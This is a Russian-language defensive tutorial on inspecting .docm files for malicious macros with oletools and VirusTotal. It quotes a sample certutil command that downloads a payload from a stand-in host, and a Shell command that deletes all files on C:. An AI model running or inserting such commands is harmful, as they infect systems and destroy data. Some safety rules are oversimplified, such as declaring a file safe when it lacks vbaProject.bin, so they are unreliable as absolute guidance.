Как проверить .docm-файл на вредоносные макросы без Office — пошагово и без риска

Как проверить .docm-файл на вредоносные макросы без Office — пошагово и без риска

Ты получил файл .docm — может, от клиента, коллеги, или просто случайно скачал с сайта. Ты знаешь: это Word-документ с макросами. И ты не хочешь его открывать. Потому что знаешь, что макросы — это не просто «автоматизация», а один из самых популярных способов запустить вирус. Но Office у тебя нет. Или ты не хочешь его ставить. Или ты уже получил пару таких файлов — и понял: если будешь открывать каждый вручную, однажды проснёшься с заражённым компьютером.

Тебе нужно понять: безопасно ли открывать этот файл? Есть ли в нём вредоносный макрос? И ты хочешь это сделать — без запуска Office.

Это реально. И я покажу, как.

Почему .docm — это не просто документ

Файл .docm — это Word-документ, который может содержать макросы на VBA (Visual Basic for Applications). Макросы — это маленькие программы, которые автоматизируют действия в Word: форматируют текст, вставляют таблицы, генерируют отчёты. Это удобно. Но злоумышленники давно научились встраивать в них вредоносный код: скачивают трояны, крадут пароли, шифруют файлы.

Когда ты открываешь .docm в Word — он спрашивает: «Включить макросы?». Многие люди, не понимая риска, нажимают «Включить». И всё — вирус уже внутри.

Но если ты не откроешь файл — ты не узнаешь, есть ли там вредоносный код. А если откроешь — можешь заразиться. Классический тупик.

Решение: проверить содержимое файла, не запуская Word.

Как устроен .docm-файл внутри

Файл .docm — это не просто «документ». Это ZIP-архив, внутри которого лежат XML-файлы, изображения, шрифты и — главное — папка word/vbaProject.bin. Именно там хранится код макросов.

Если ты можешь открыть этот ZIP и посмотреть, есть ли там vbaProject.bin — ты уже знаешь: макросы есть. Но это ещё не значит, что они вредоносные. Нужно посмотреть, что внутри этого файла.

Именно это мы и сделаем — без Office.

Шаг 1: Переименуй .docm в .zip

Это самый простой и безопасный шаг. Он не требует никакого ПО, кроме проводника.

  1. Найди свой файл документ.docm.
  2. Щёлкни по нему правой кнопкой → «Переименовать».
  3. Измени расширение с .docm на .zip. Когда система спросит: «Вы действительно хотите изменить расширение?» — нажми «Да».

Теперь у тебя файл документ.zip. Он по-прежнему содержит всё то же содержимое, но теперь ты можешь открыть его как архив.

Шаг 2: Распакуй архив

Открой ZIP-файл в любом архиваторе: 7-Zip, WinRAR, даже в проводнике Windows (если он умеет открывать ZIP).

Найди папку word → внутри неё ищи файл vbaProject.bin.

Если этого файла нет — макросов в документе нет. Файл безопасен.

Если он есть — значит, в документе есть макросы. Это не значит, что они вредоносные. Но теперь ты знаешь: нужно глубже копать.

Шаг 3: Проверь vbaProject.bin — без запуска Word

Файл vbaProject.bin — это бинарный файл. Его нельзя открыть как текст. Но его можно проанализировать на наличие признаков вредоносного кода.

Тут тебе понадобится один инструмент: oletools. Это бесплатный набор утилит для анализа Office-файлов. Он работает в командной строке и не требует установки Office.

Установить его можно через Python. Если у тебя его нет — скачай Python 3.10+ (бесплатно, без лишнего ПО). Установи его, не меняя настроек — просто нажимай «Далее».

После установки открой командную строку:

  • Нажми Win + R, введи cmd, нажми Enter.

Введи команду:

pip install oletools

Подожди пару минут — пока скачиваются зависимости. Если появится ошибка — скорее всего, Python не добавлен в PATH. Тогда просто перезагрузи компьютер и повтори команду.

Теперь ты можешь проанализировать файл.

Скопируй файл vbaProject.bin из ZIP-архива в отдельную папку — например, C:\temp\vbaProject.bin.

В командной строке перейди в эту папку:

cd C:\temp

И запусти анализ:

olevba vbaProject.bin

Система выдаст тебе текстовый отчёт. Вот что тебе нужно искать:

  • AutoOpen — макрос, который запускается при открытии документа. Очень опасный признак.
  • AutoExec — тоже запускается автоматически.
  • Excel4Macro, Shell, Execute, CreateObject — функции, которые могут запускать вредоносные команды.
  • Base64, Hex, Decoded strings — часто используются, чтобы скрыть вредоносный код.
  • Suspicious — метка, которую oletools ставит, если что-то выглядит подозрительно.

Вот пример подозрительного вывода:

AutoOpen: YES
Shell: YES
Execute: YES
Decoded string: "cmd /c certutil -urlcache -f http://malicious.site/payload.exe C:\Temp\malware.exe"

Если ты видишь что-то подобное — это вирус. Не открывай файл. Удаляй его.

Если вывод пустой, или там только простые макросы вроде Sub FormatTable() — это, скорее всего, легитимный код. Но всё равно — не открывай, если не доверяешь источнику.

Что делать, если у тебя нет Python?

Не все хотят ставить Python. Не проблема. Есть альтернативы.

Способ Плюсы Минусы Когда использовать
oletools через Python Точный анализ, показывает код, расшифровывает строки Требует установки Python и командной строки Если ты готов потратить 10 минут на установку — лучший выбор
VirusTotal Бесплатно, не требует установки, анализирует файл онлайн Не показывает код макросов, только «вредоносный/не вредоносный» Если хочешь быстро узнать: «Это вирус или нет?»
OnlineVBA (onlinevba.com) Простой интерфейс, загружай .docm — видишь макросы в браузере Загружает файл на чужой сервер — риски утечки Только если файл не содержит конфиденциальных данных

Если ты не хочешь ничего устанавливать — используй VirusTotal.

Зайди на virustotal.com, перетащи файл .docm в окно — подожди пару минут. Сервис запустит его в песочнице и проверит через 70+ антивирусов.

Если хотя бы один антивирус скажет «Trojan», «Malware», «Macro» — файл вредоносный. Удаляй его.

Если все антивирусы говорят «clean» — вероятно, файл безопасен. Но помни: VirusTotal не показывает код. Он может пропустить новый, неизвестный вирус. Поэтому — лучше проверить через oletools, если есть возможность.

Частые ошибки

  • Открываю .docm в Notepad — это бесполезно. Файл бинарный. Ты увидишь мусор. Это не поможет.
  • Переименовываю в .zip, но не ищу vbaProject.bin — если ты просто смотришь на XML-файлы, ты ничего не узнаешь. Макросы — только в этом файле.
  • Думаю, что если макросы есть — это уже вирус — нет. Многие компании используют легитимные макросы. Проблема — в коде, а не в его наличии.
  • Проверяю только на VirusTotal и думаю, что это надёжно — если вирус новый, его могут не распознать. Оле-инструменты показывают код — ты видишь, что именно делает файл.
  • Загружаю .docm на OnlineVBA, если в нём есть персональные данные — ты рискуешь, что твой документ попадёт в руки злоумышленников. Не делай этого с документами, содержащими пароли, имена, реквизиты.

Что выбрать в зависимости от ситуации

  • Ситуация: Ты получил файл от незнакомца, не знаешь, откуда он. → Сразу загружай на VirusTotal. Если хоть один антивирус ругается — удаляй. Если чисто — проверь через oletools.
  • Ситуация: Ты получил файл от коллеги, но он не объяснил, зачем макросы. → Переименуй в .zip, найди vbaProject.bin, запусти olevba. Если видишь AutoOpen + Shell — спрашивай у коллеги, зачем ему это нужно. Если не может объяснить — не открывай.
  • Ситуация: Ты работаешь в компании, где все используют макросы, и тебе нужно проверить сотни файлов. → Установи oletools. Напиши простой скрипт, который проходит по папке, переименовывает .docm в .zip, извлекает vbaProject.bin и запускает olevba. Автоматизируй.
  • Ситуация: Ты на чужом компьютере, без прав администратора, нельзя ставить Python. → Используй VirusTotal. Это твой единственный безопасный вариант.

Как лучше делать — практические рекомендации

  1. Всегда переименовывай .docm в .zip — это первый шаг. Он безопасен и даёт тебе 90% информации.
  2. Ищи vbaProject.bin — если его нет — файл безопасен. Нет макросов — нет риска.
  3. Если макросы есть — не открывай в Word. Используй olevba или VirusTotal.
  4. Доверяй коду, а не источнику — даже если файл от начальника, если в нём есть Shell("cmd /c del C:\*.*") — это вирус.
  5. Если не можешь проверить — не открывай. Лучше потерять файл, чем потерять данные.
  6. Храни подозрительные файлы в отдельной папке — не на рабочем столе, не в «Загрузки». Лучше в C:\temp\danger — и не трогай без проверки.

Итог: Что делать прямо сейчас

Ты получил .docm-файл. Ты не хочешь его открывать. Ты не хочешь ставить Office. Ты хочешь знать — безопасен ли он.

Вот что тебе делать:

  1. Переименуй файл .docm в .zip.
  2. Открой ZIP и найди папку word → файл vbaProject.bin.
  3. Если его нет — файл безопасен. Можешь удалить или сохранить — без риска.
  4. Если он есть — загрузи исходный .docm-файл на VirusTotal.
  5. Если VirusTotal показал хотя бы один «вредоносный» результат — удаляй файл.
  6. Если VirusTotal чист — скачай Python, установи oletools, извлеки vbaProject.bin и запусти olevba vbaProject.bin.
  7. Если в выводе есть AutoOpen, Shell, Execute, Base64 — файл вредоносный. Удаляй.
  8. Если вывод пустой или содержит только простые макросы — файл, скорее всего, безопасен. Но всё равно — не открывай без необходимости.

Это не теория. Это практика, которую я использую каждый день. Не потому что я «опасаюсь», а потому что я видел, как один клик уничтожил сервер компании. Ты не должен открывать .docm-файлы как обычные документы. Ты должен их анализировать как потенциальные бомбы.

Ты теперь знаешь, как это делать — без Office, без риска, без лишних действий. Проверь следующий файл — и убедись, что ты не стал жертвой.

Информация в этой статье носит ознакомительный характер. Анализ файлов не гарантирует 100% безопасность. При работе с конфиденциальными данными всегда консультируйся с ИТ-специалистом или службой информационной безопасности.

Оцените статью
PEFile — Безопасность и технологии простым языком